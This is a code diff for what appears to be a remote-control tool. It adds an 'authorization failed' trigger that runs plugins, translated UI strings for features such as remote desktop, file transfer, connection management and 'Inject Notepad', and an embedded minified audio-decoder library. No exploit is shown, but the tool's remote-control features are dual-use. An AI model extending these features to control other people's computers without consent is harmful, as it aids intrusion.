rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME; rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
// Normalize one-keyword-per-line input back to semicolon-separated storage.
m_editNotifyPattern.GetWindowText(str); m_editNotifyPattern.GetWindowText(str);
rule.matchPattern = CT2A(str, CP_UTF8); str.Replace(_T("\r\n"), _T("\n"));
str.Replace(_T('\r'), _T('\n'));
{
CString joined;
int start = 0;
for (;;) {
const int pos = str.Find(_T('\n'), start);
CString kw = (pos < 0) ? str.Mid(start) : str.Mid(start, pos - start);
kw.Trim();
if (!kw.IsEmpty()) {
if (!joined.IsEmpty()) joined += _T(';');
joined += kw;
}
if (pos < 0) break;
start = pos + 1;
}
rule.matchPattern = CT2A(joined, CP_UTF8);
}
// Update manager config and save // Update manager config and save
GetNotifyManager().SetConfig(m_config); GetNotifyManager().SetConfig(m_config);
+47 -28
View File
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd) ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove) ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers) ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
END_MESSAGE_MAP() END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent) CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
{ {
// 初始化触发类型下拉框 // 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线")); m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE); m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表 // 初始化插件列表
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
index++; index++;
} }
// 如果有已配置的主机上线触发器,勾选对应的插件 // 回显当前选中触发类型已勾选的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs); ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
} }
void CTriggerSettingsDlg::LoadTriggersToList() void CTriggerSettingsDlg::LoadTriggersToList()
{ {
m_listTriggers.DeleteAllItems(); m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" }; const char* typeNames[] = { "主机上线", "授权失败" };
int index = 0; int index = 0;
for (const auto& cfg : m_Configs) { for (const auto& cfg : m_Configs) {
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 回显该触发器配置的插件,并同步下拉框选择
ReflectPluginsForType(type);
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
{
int sel = m_comboTriggerType.GetCurSel();
if (sel >= 0) {
ReflectPluginsForType((TriggerType)sel);
}
}
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
{
// 查找对应的触发器配置 // 查找对应的触发器配置
TriggerConfig* cfg = nullptr; TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) { for (auto& c : m_Configs) {
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
} }
} }
} }
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
} }
void CTriggerSettingsDlg::OnBnClickedBtnSave() void CTriggerSettingsDlg::OnBnClickedBtnSave()
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
TriggerManager::Instance().Reload(); TriggerManager::Instance().Reload();
} }
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================ // ============================================
// TriggerManager 实现 // TriggerManager 实现
// ============================================ // ============================================
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
{ {
// 不加锁,由调用者保证线程安全 // 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear(); m_OnlinePlugins.clear();
m_AuthFailedPlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs(); auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) { for (const auto& cfg : configs) {
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
for (const auto& name : cfg.PluginNames) { for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name); m_OnlinePlugins.insert(name);
} }
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
for (const auto& name : cfg.PluginNames) {
m_AuthFailedPlugins.insert(name);
}
} }
} }
m_bLoaded = true; m_bLoaded = true;
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
return result; return result;
} }
bool TriggerManager::HasAuthFailedTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_AuthFailedPlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}
+12 -3
View File
@@ -12,6 +12,7 @@ struct DllInfo;
// 触发器类型 // 触发器类型
enum TriggerType { enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线 TRIGGER_HOST_ONLINE = 0, // 主机上线
TRIGGER_AUTH_FAILED = 1, // 授权失败
// 后续可扩展更多类型 // 后续可扩展更多类型
}; };
@@ -34,12 +35,18 @@ public:
// 获取主机上线触发器的插件名称集合(高性能查询) // 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins(); std::set<std::string> GetOnlinePlugins();
// 获取授权失败触发器的插件名称集合(高性能查询)
std::set<std::string> GetAuthFailedPlugins();
// 重新加载配置(保存后调用) // 重新加载配置(保存后调用)
void Reload(); void Reload();
// 检查是否有上线触发器 // 检查是否有上线触发器
bool HasOnlineTrigger(); bool HasOnlineTrigger();
// 检查是否有授权失败触发器
bool HasAuthFailedTrigger();
private: private:
TriggerManager(); TriggerManager();
~TriggerManager(); ~TriggerManager();
@@ -49,7 +56,8 @@ private:
void LoadFromDisk(); void LoadFromDisk();
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称 std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
bool m_bLoaded; bool m_bLoaded;
}; };
@@ -68,8 +76,6 @@ public:
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs); static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径 // 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath(); static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); virtual void DoDataExchange(CDataExchange* pDX);
@@ -81,12 +87,15 @@ protected:
afx_msg void OnBnClickedBtnTriggerAdd(); afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove(); afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnCbnSelchangeComboTriggerType();
private: private:
void InitControls(); void InitControls();
void LoadPluginsToList(); void LoadPluginsToList();
void LoadTriggersToList(); void LoadTriggersToList();
void UpdateTriggerDisplay(); void UpdateTriggerDisplay();
// 回显指定触发类型已勾选的插件(取消其他勾选)
void ReflectPluginsForType(TriggerType type);
private: private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表 std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
+1 -1
View File
@@ -46,7 +46,7 @@
// 程序版本号 [建议格式: X.Y.Z] // 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏 // 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.9" #define BRAND_VERSION "1.4.0"
// 启动画面名称 [建议大写,更有 Logo 感] // 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染) // 影响:启动画面 Logo 文字(大号艺术字体渲染)
+4
View File
@@ -255,6 +255,7 @@ void CWebService::ServerThread(int port) {
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS); static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS); static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS); static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
static std::string cachedOpusDecoderJs = LoadBinaryResourceAsString(IDR_WEB_OPUS_DECODER_JS);
auto buildStatic = [](const std::string& body, const std::string& mime) { auto buildStatic = [](const std::string& body, const std::string& mime) {
ws::HttpResponse r = ws::HttpResponse::OK(body, mime); ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
@@ -274,6 +275,9 @@ void CWebService::ServerThread(int port) {
} else if (path == "/static/xterm-fit.js") { } else if (path == "/static/xterm-fit.js") {
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound(); if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8"); return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
} else if (path == "/static/opus-decoder.min.js") {
if (cachedOpusDecoderJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedOpusDecoderJs, "application/javascript; charset=utf-8");
} else if (path == "/health") { } else if (path == "/health") {
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json"); return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
} else if (path == "/manifest.json") { } else if (path == "/manifest.json") {
+19
View File
@@ -409,6 +409,7 @@ Rar
撤销授权=Autorisierung widerrufen 撤销授权=Autorisierung widerrufen
注入记事本=Notepad injizieren 注入记事本=Notepad injizieren
机器管理=Maschinenverwaltung 机器管理=Maschinenverwaltung
主机管理=Maschinenverwaltung
注销=Abmelden 注销=Abmelden
关机=Herunterfahren 关机=Herunterfahren
重启=Neustart 重启=Neustart
@@ -1823,6 +1824,7 @@ IOCP
触发类型:=Ausloesertyp: 触发类型:=Ausloesertyp:
执行动作:=Aktion: 执行动作:=Aktion:
主机上线=Host online 主机上线=Host online
授权失败=Autorisierung fehlgeschlagen
插件名称=Plugin-Name 插件名称=Plugin-Name
触发器=Ausloeser 触发器=Ausloeser
已配置的触发器=Konfigurierte Ausloeser 已配置的触发器=Konfigurierte Ausloeser
@@ -2049,3 +2051,20 @@ Minimal
JPEG质量=JPEG Qualitaet JPEG质量=JPEG Qualitaet
最大宽度为期望编码宽度;JPEG 质量 1~100=Max. Breite ist die Ziel-Codierbreite; JPEG Qualitaet 1~100 最大宽度为期望编码宽度;JPEG 质量 1~100=Max. Breite ist die Ziel-Codierbreite; JPEG Qualitaet 1~100
预览质量等级已保存,下次发送预览时生效。=Vorschau-Qualitaetsstufen gespeichert. Wirksam bei der naechsten Vorschau. 预览质量等级已保存,下次发送预览时生效。=Vorschau-Qualitaetsstufen gespeichert. Wirksam bei der naechsten Vorschau.
; ============================================
; File Transfer Speed Dialog (文件传输速度)
; ============================================
文件传输速度(&F)...=&Dateiuebertragungsgeschwindigkeit...
文件传输速度=Dateiuebertragungsgeschwindigkeit
拖动滑块设置文件传输速度:=Schieberegler ziehen, um die Uebertragungsgeschwindigkeit festzulegen:
最慢=Langsamste
慢=Langsam
默认=Standard
快=Schnell
更快=Schneller
很快=Sehr schnell
不限速=Unbegrenzt
%s · 约 %.2f MB/s=%s · ca. %.2f MB/s
%s · 不受限速(受网络带宽约束)=%s · Unbegrenzt (durch Netzwerkbandbreite begrenzt)
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=Uebertragungsgeschwindigkeit gespeichert. Upload-Geschwindigkeit wird nach Neustart des Masters wirksam; Download-Geschwindigkeit beim naechsten Oeffnen des Dateimanagers oder des Remotedesktops.
+30 -1
View File
@@ -410,6 +410,7 @@ Rar
撤销授权=Revoke Auth 撤销授权=Revoke Auth
注入记事本=Inject Notepad 注入记事本=Inject Notepad
机器管理=Machine Mgmt 机器管理=Machine Mgmt
主机管理=Host Mgmt
注销=Log Off 注销=Log Off
关机=Shutdown 关机=Shutdown
重启=Restart 重启=Restart
@@ -1493,7 +1494,7 @@ SMTP
触发条件:=Trigger: 触发条件:=Trigger:
匹配列:=Match Column: 匹配列:=Match Column:
关键词:=Keywords: 关键词:=Keywords:
(多个关键词用分号分隔,匹配任一项即触发通知)=(Multiple keywords separated by semicolon) (每行一个关键词,匹配任一项即触发通知)=(One keyword per line)
提示: 同一主机 60 分钟内仅通知一次=Tip: Same host notified only once per 60 minutes 提示: 同一主机 60 分钟内仅通知一次=Tip: Same host notified only once per 60 minutes
主机上线=Host Online 主机上线=Host Online
IP地址=IP Address IP地址=IP Address
@@ -1824,6 +1825,7 @@ IOCP
触发类型:=Trigger Type: 触发类型:=Trigger Type:
执行动作:=Action: 执行动作:=Action:
主机上线=Host Online 主机上线=Host Online
授权失败=Authorization Failed
插件名称=Plugin Name 插件名称=Plugin Name
触发器=Trigger 触发器=Trigger
已配置的触发器=Configured Triggers 已配置的触发器=Configured Triggers
@@ -2050,3 +2052,30 @@ Minimal
JPEG质量=JPEG Quality JPEG质量=JPEG Quality
最大宽度为期望编码宽度;JPEG 质量 1~100=Max width is the target encode width; JPEG quality 1~100 最大宽度为期望编码宽度;JPEG 质量 1~100=Max width is the target encode width; JPEG quality 1~100
预览质量等级已保存,下次发送预览时生效。=Preview quality levels saved. They take effect the next time a preview is sent. 预览质量等级已保存,下次发送预览时生效。=Preview quality levels saved. They take effect the next time a preview is sent.
; ============================================
; File Transfer Speed Dialog (文件传输速度)
; ============================================
文件传输速度(&F)...=&File Transfer Speed...
文件传输速度=File Transfer Speed
拖动滑块设置文件传输速度:=Drag the slider to set the transfer speed:
最慢=Slowest
慢=Slow
默认=Default
快=Fast
更快=Faster
很快=Very Fast
不限速=Unlimited
%s · 约 %.2f MB/s=%s · about %.2f MB/s
%s · 不受限速(受网络带宽约束)=%s · Unlimited (limited by network bandwidth)
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=Transfer speed saved. Upload speed takes effect after restarting the master; download speed takes effect the next time you open File Manager or Remote Desktop.
连接管理=Connections
%s - 连接管理=%s - Connections
本地地址=Local Address
本地端口=Local Port
远端地址=Remote Address
远端端口=Remote Port
连接数:%d=Connections: %d
强制断开=Force Disconnect
远程交谈=Talk
+29
View File
@@ -410,6 +410,7 @@ Rar
撤销授权=撤銷授權 撤销授权=撤銷授權
注入记事本=注入記事本 注入记事本=注入記事本
机器管理=機器管理 机器管理=機器管理
主机管理=主機管理
注销=登出 注销=登出
关机=關機 关机=關機
重启=重新啟動 重启=重新啟動
@@ -1816,6 +1817,7 @@ IOCP
触发类型:=觸發類型: 触发类型:=觸發類型:
执行动作:=執行動作: 执行动作:=執行動作:
主机上线=主機上線 主机上线=主機上線
授权失败=授權失敗
插件名称=外掛名稱 插件名称=外掛名稱
触发器=觸發器 触发器=觸發器
已配置的触发器=已設定的觸發器 已配置的触发器=已設定的觸發器
@@ -2041,3 +2043,30 @@ Minimal
JPEG质量=JPEG品質 JPEG质量=JPEG品質
最大宽度为期望编码宽度;JPEG 质量 1~100=最大寬度為期望編碼寬度;JPEG 品質 1~100 最大宽度为期望编码宽度;JPEG 质量 1~100=最大寬度為期望編碼寬度;JPEG 品質 1~100
预览质量等级已保存,下次发送预览时生效。=預覽品質等級已儲存,下次傳送預覽時生效。 预览质量等级已保存,下次发送预览时生效。=預覽品質等級已儲存,下次傳送預覽時生效。
; ============================================
; File Transfer Speed Dialog (文件传输速度)
; ============================================
文件传输速度(&F)...=檔案傳輸速度(&F)...
文件传输速度=檔案傳輸速度
拖动滑块设置文件传输速度:=拖曳滑桿設定檔案傳輸速度:
最慢=最慢
慢=慢
默认=預設
快=快
更快=更快
很快=很快
不限速=不限速
%s · 约 %.2f MB/s=%s · 約 %.2f MB/s
%s · 不受限速(受网络带宽约束)=%s · 不限速(受網路頻寬限制)
文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效;下載速度下次開啟檔案管理或遠端桌面後生效。
连接管理=連線管理
%s - 连接管理=%s - 連線管理
本地地址=本機位址
本地端口=本機連接埠
远端地址=遠端位址
远端端口=遠端連接埠
连接数:%d=連線數:%d
强制断开=強制中斷
远程交谈=遠程交談
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 128 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

+232
View File
@@ -0,0 +1,232 @@
/* Copyright 2021-2026 Ethan Halsall. This file is part of wasm-audio-decoders. https://github.com/eshaz/wasm-audio-decoders */
var i,t;i=this,t=function(i,t){const e=(i,t=4294967295,e=79764919)=>{const H=new Int32Array(256);let s,h,r,n=t;for(s=0;s<256;s++){for(r=s<<24,h=8;h>0;--h)r=2147483648&r?r<<1^e:r<<1;H[s]=r}for(s=0;s<i.length;s++)n=n<<8^H[255&(n>>24^i[s])];return n},H=(i,t=e)=>{const H=i=>new Uint8Array(i.length/2).map((t,e)=>parseInt(i.substring(2*e,2*(e+1)),16)),s=i=>H(i)[0],h=new Map;[,8364,,8218,402,8222,8230,8224,8225,710,8240,352,8249,338,,381,,,8216,8217,8220,8221,8226,8211,8212,732,8482,353,8250,339,,382,376].forEach((i,t)=>h.set(i,t));const r=new Uint8Array(i.length);let n,M,o,a=!1,c=0,I=42,u=i.length>13&&"dynEncode"===i.substring(0,9),y=0;u&&(y=11,M=s(i.substring(9,y)),M<=1&&(y+=2,I=s(i.substring(11,y))),1===M&&(y+=8,o=(i=>new DataView(H(i).buffer).getInt32(0,!0))(i.substring(13,y))));const l=256-I;for(let e=y;e<i.length;e++)if(n=i.charCodeAt(e),61!==n||a){if(92===n&&e<i.length-5&&u){const t=i.charCodeAt(e+1);117!==t&&85!==t||(n=parseInt(i.substring(e+2,e+6),16),e+=5)}if(n>255){const i=h.get(n);i&&(n=i+127)}a&&(a=!1,n-=64),r[c++]=n<I&&n>0?n+l:n-I}else a=!0;const d=r.subarray(0,c);if(u&&1===M){const i=t(d);if(i!==o){const t="Decode failed crc32 validation";throw console.error("`simple-yenc`\n",t+"\n","Expected: "+o+"; Got: "+i+"\n","Visit https://github.com/eshaz/simple-yenc for more information"),Error(t)}}return d};function s(){const i=Uint8Array,t=Float32Array;s.t||Object.defineProperties(s,{t:{value:new WeakMap},H:{value(i,t){s.t.set(i,Promise.resolve(t))}},M:{value(i,t){let e=s.t.get(i);return e||(t?e=WebAssembly.compile(H(t)):(t=i.I,e=s.u(t).then(i=>WebAssembly.compile(i))),s.t.set(i,e)),e}},p:{value(i,e){let H=new t(e),s=0,h=0;for(;s<i.length;)H.set(i[s],h),h+=i[s++].length;return H}},J:{value:(i,t,e,H,s)=>({errors:i,channelData:t,samplesDecoded:e,sampleRate:H,bitDepth:s})},W:{value(i,t,e,H,h,r){let n,M,o=[];for(n=0;n<e;n++){const i=[];for(M=0;M<t.length;)i.push(t[M++][n]||[]);o.push(s.p(i,H))}return s.J(i,o,H,h,r)}},u:{value(t){return t=H(t),new Promise(e=>{const H=String.raw`dynEncode012804c7886d(‰›•)((()>+ˆ*§§)§ˆ,§§§§)§ˆ+§§§)§+.-()(*)-+)(ˆ.7*§)i¸¸,3§(i¸¸,3/G+.••—š¡*(,˜ŽŽ(,3‡‡‰˜‡Š‰›+)2å:-œ),§H(P*DI*H(P*@I++hH)H*r,hH(H(P*<J,i)’^*<H,H(P*4’U((I-H(H*i0’J,^*DH+H-H*œšI+H,I*4)33H(H*H)“^*DH(H+H)^*@H+i§H)œi§›™3æ*).§K(iH“I/+§H,iHn,§H+i(H+i(rCJ0I,H*I-+hH,,hH(H-V)(i)œ’J.H.W)(i)’c)(H,i)“I,H-i*’I-4)33i(I.*hH(V)(H+n5(H(i*’I-i(I,i)I.+hH,i*’J+iHn,hi(I-i*I,+hH,H/’H-c)(H,iFn,hi(I,+hH,H0n5-H*V)(J(,hH/H(i)œ’J(H(V)(J(i)’c)(H)H(i)œ’H,c)(3H*i*’I*H,i)’I,4(3(-H(H,’W)(H-’I-H,i*’I,4)3(3(3H,H-’I1H+I,H.i)œH1V)(“J.i(v5(33H.-H(H,’i(c)(H,i*’I,4)333–)-§i*I*+§H*iHn,hiž73H,H(i)8(H+šJ+H)P*(H*’V)(J-“r,§H)P*,H.i)œ’H+H,“i)œ’V)(-H*i*’I*H+i)œI+H-H.’I.H,H-’i)œI,4)333Ã+)-§iø7i(^*(iü7I,*h+hH+iDn,h*hilI+i)I,+hH+,hH+iô7’H,c)(i)H+i´8’W)(œH,’I,H+i*’I+4)-+hH(H)8*J-i(p5.*h*h*hH-i')u,hH(P*(J+,hH(P*0J,H(P*,n50H+H,’H-b((3H(P*0i)’I.4)3H-i¨*n5*H-iÅ*s,hiž73H-i)œJ+V)&+I,H(H+V)æ,8(I.H(H*8*J-i(p51H-i)œJ+i¸7’V)(H(H+iø7’V)(8(’J/H(P*0J+s,hi73H+H,H.’J,’I.H(P*(m5(H.H(P*,s5.+hH,m5*H(P*(J.H+’H.H+H/“’U((b((H(H(P*0i)’J+^*0H,i)“I,4(3(3H(H.^*03H-i¨*o5)33i(73(3(3-H,H+i)žc)(H,i*’I,H+i)’I+4)33i)I-3H-3!2)0§K(i2“J,L(H,H(^*(H,H*^*4H,i(^*0H,i(^*DH,j(_*<H,H)P*(^*,H,H+P*(^*8*h*h+hH,i)8(I3i§I**h*h*h*h*h*h*hH,i*8(6+(),03H,j(_*@i*I-H,P*<J.i,’J(H,P*8J/s50H,H.i+’J0^*<i¦I*H.H,P*4J1’J.U(*H.U((J2›i')o5/H.U()I.H,H(^*<H0H1’U((H.i0œJ.i§›i0ži')™o5/H/H.H2šJ*H(’J.q50H,P*0J/H*’I-H,P*(J0,hH,P*,H-q,hi)I-423+hH*m5+H/H0’H(H1’U((b((H/i)’I/H(i)’I(H*i)“I*4(3(3H,H.^*<H,H-^*04*3iØ1U((5+i(I(i¨7i1^*(i$6iè1^*(i°7iè6^*(i¬7iÈ6^*(+hH(iÈ*n,hiÈ*I(+hH(i¨,n,hi¨,I(+hH(iØ,n,hiØ,I(+hH(iè,o,hH,i-’H(’i0c)(H(i*’I(4)33iè1i1H,i-’iÈ*8)Bi(I(+hH(ido,hH,i-’H(’i-c)(H(i*’I(4)33iÈ6iè6H,i-’iF8)BiØ1i)b((41-H,i-’H(’i/c)(H(i*’I(4)3(3(-H,i-’H(’i1c)(H(i*’I(4)3(3(-H,i-’H(’i0c)(H(i*’I(4)3(3(3H,H/^*0H,H(^*<3i(I*4*3H,H,i¸)’^*TH,H,iø-’^*PH,H,iX’^*LH,H,i(’^*HH,i-8(I(H,i-8(I-i¥I*H,i,8(I.H(iErH-iErš5)H(i©*’I1H-i)’I0i(i;H.i,’J(i(H(i(rCJ(“J*H*i;sCI*i¨1I-H(I/+hH/,hH,i-’H-V)(i)œ’H,i+8(c)(H/i)“I/H-i*’I-H*i)’I*4)-H(i)œi¨1’I/+hH(H*o,hH,i-’H/V)(i)œ’i(c)(H/i*’I/H(i)’I(4)33i¤I*H,iø-’H,i¸)’H,i-’i;8)5+H0H1’I2i(I-+hH-H2p,hH,H,iP’8*J*i(p5-H*i7u,hH,i-’H-i)œ’H*c)(H-i)’I-4*3i(I/i+I.i+I(*h*h*hH*i8“6*(*)3H-m,hi£I*403H-i)œH,’W)-I/i*I(4)3i3I.i/I(3H2H,H(8(H.’J(H-’J.p,hi¢I*4.3H,i-’H-i)œ’I*+hH(,hH*H/c)(H*i*’I*H(i)“I(4)-H.I-4+3(3(33H,W)1m,hiŸI*4,3H,iø-’H,i¸)’H,i-’H18)J(,hi¡I*H(i(p5,H1H,V)ú-H,V)ø-’o5,3H,i(’H,iX’H,i-’H1i)œ’H08)J(,hi I*H(i(p5,H0H,V)šH,V)˜’o5,3H,H,iP’H,iH’8+I*4+3(3(3H,i$6i¬78+I*3H*H3šm5(3i)I-H*i(r5)3H)H,P*0^*(H+H,P*<^*(H*I-3H,i2’L(H-33Á)+(i¨03b+(,(-(.(/(0(1(2(3(5(7(9(;(?(C(G(K(S([(c(k({(‹(›(«(Ë(ë( (*)(iø03O)()()()(*(*(*(*(+(+(+(+(,(,(,(,(-(-(-(-(i¨13M8(9(:(((0(/(1(.(2(-(3(,(4(+(5(*(6()(7(T7œ‰šœ‡Ž‰œš›*S7•œ‰Š”U”—Љ” Line truncated
®Fj{øú¢ç=}(ݝñŸÜnŸ moǰ¥à•eò?È×µh
ØW¨;Ñ aØX­æU{¤øàÖÕÀì·ÝÌ­íø±tâÔøeVO÷PÉ´È~ÃòsX1´ÊPyK·ÿ™ŒKZçµ ›W„Ñ¡¡_‘ ‘dÍ•í+]Õ~%Yïþîñ ¾Ú·”p[òß ó÷y lhnn«²ù*̐éñ®ï(éÇÃRÊÆRÌ-¬ÐoÒ”Ê2z+ä$‚:ÄsxÏ#Ït!MlBqžš§%Jè„ ƒ®Ä3ó°á¸eÅ_Ö=}iTÐ͆mo †ðbMpžl–¬E›P°e,¼Æju®ix>#}N€gd™ÿÇÄbç9WZÇ·n\†Öá1ڛÈt.ú6bì:û† ào¯ú4Ÿ“Ïø ü­zå¯#ÆkŸ‡M#úÿ9›ë:üÒÝëÚà†¡d”•%0ÒekÓ×mðƸ½ùÿ⇿Ò9 ›ÄgªÕÂ%ü¸» HÁMŽ#Âqˆ²~Œèn¯ Ûa_9j= ùÿR™èæÊó%Mƒ
’¨,Àæq%98‰a9%T—˜2)´z«9gsÒ‚Ö!”ZhRõRێyÕ²ŒÝ=M<Öcº »~VFÕÖx:þrޑðnŽ£x¦8.è†$K9þ¹úSnÍ3¦ˆv…üuºsÕñ=}œ1—=M5Zʕ¦CÿSÉ2×qÒ««S†˜a»ù±(¢º]ÀmÍh÷/¥3@sns2 –%7ù-Q|nÏoöjYÛ]}à2{€EB’êÎ6ƒ>ÁbÄü
